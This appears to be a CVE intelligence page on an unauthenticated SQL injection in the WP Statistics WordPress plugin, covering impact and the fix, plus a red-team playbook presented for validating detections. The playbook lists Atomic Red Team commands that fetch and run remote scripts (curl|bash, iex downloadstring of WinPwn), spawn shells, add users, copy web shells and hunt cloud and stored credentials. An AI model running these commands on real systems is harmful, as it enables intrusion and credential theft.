CVE-2022-25149
Overview
This vulnerability is a SQL Injection flaw caused by improper escaping and lack of parameterization of user-supplied input within the WP Statistics WordPress plugin. Specifically, the IP parameter in the ~/includes/class-wp-statistics-hits.php file is not sanitized, allowing injection of arbitrary SQL code. The affected component is the query handling mechanism for IP-related data processing in versions up to and including 13.1.5.
Vulnerability Description
The WP Statistics WordPress plugin is vulnerable to SQL Injection due to insufficient escaping and parameterization of the IP parameter found in the ~/includes/class-wp-statistics-hits.php file which allows attackers without authentication to inject arbitrary SQL queries to obtain sensitive information, in versions up to and including 13.1.5.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary SQL queries against the WordPress database, enabling extraction of sensitive information including user data and site configuration. No user interaction or privileges are required (AV:N/AC:L/PR:N/UI:N), making exploitation straightforward. This can lead to significant data breaches and compromise of site confidentiality, integrity, and availability (C:H/I:H/A:H).
Solution
Users should upgrade WP Statistics to version 13.1.6 or later, where the issue is resolved by proper input sanitization and parameterization. Detailed patch instructions and advisories are available at the Wordfence vulnerability advisory page (https://www.wordfence.com/vulnerability-advisories/#CVE-2022-25149) and the WordPress plugin repository changelog. Applying the latest update is the recommended remediation to eliminate this SQL Injection vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the WP Statistics WordPress plugin stems from inadequate escaping and parameterization of user inputs, specifically the IP parameter. This flaw allows attackers to execute SQL injection attacks, which can lead to unauthorized access to the underlying database. When an attacker crafts a malicious request that includes specially formatted input, the application fails to properly sanitize this input before it is incorporated into SQL queries. As a result, attackers can manipulate the queries to extract sensitive information, modify data, or even execute administrative operations on the database. The vulnerability is particularly concerning as it affects versions up to and including 13.1.5, leaving a significant number of installations exposed.
Exploitation of this vulnerability can occur without the need for authentication, making it particularly dangerous. Attackers can target any WordPress site utilizing the affected plugin by sending crafted requests that include malicious IP parameters. For instance, an attacker could use automated tools to scan for vulnerable sites and then launch SQL injection attacks to retrieve user data, including usernames, passwords, and other sensitive information stored in the database. Furthermore, the ease of exploitation means that even individuals with limited technical skills could potentially carry out successful attacks, increasing the risk of widespread exploitation.
The real-world impact of this vulnerability can be severe for businesses relying on the WP Statistics plugin for their analytics needs. Successful exploitation can lead to data breaches, resulting in the exposure of sensitive customer information and potentially damaging the organization’s reputation. The financial implications can also be significant, as businesses may face regulatory fines for non-compliance with data protection laws, in addition to the costs associated with incident response, remediation, and public relations efforts to restore trust. Moreover, the loss of customer confidence can have long-lasting effects on revenue and brand loyalty.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating plugins and monitoring for security advisories is crucial to ensure that all software components are running the latest, most secure versions. Employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests before they reach the application. Additionally, conducting regular security audits and penetration testing can help identify vulnerabilities in the application before they can be exploited by attackers. Educating developers about secure coding practices, including proper input validation and parameterization, is also essential to prevent similar vulnerabilities from being introduced in the future.
In conclusion, the SQL injection vulnerability in the WP Statistics plugin poses a significant threat to WordPress installations, particularly due to its ease of exploitation and the potential for severe consequences. Organizations must take proactive measures to protect their systems, including timely updates, the use of security tools, and fostering a culture of security awareness among developers. By addressing these vulnerabilities head-on, businesses can safeguard their data and maintain the trust of their customers in an increasingly hostile digital landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Veronalabs | Wp Statistics | All |
cpe:2.3:a:veronalabs:wp_statistics:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-25149 |
| gist.github.com |
GitHub CVE
x_refsource_MISC
|
https://gist.github.com/Xib3rR4dAr/5dbd58b7f57a5037fe461fba8e696042 |
| wordfence.com |
GitHub CVE
x_refsource_MISC
|
https://www.wordfence.com/vulnerability-advisories/#CVE-2022-25149 |
| plugins.trac.wordpress.org |
GitHub CVE
x_refsource_MISC
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2679983%40wp-statistics&new=2679983%40wp-statistics&sfp_email=&sfph_mail= |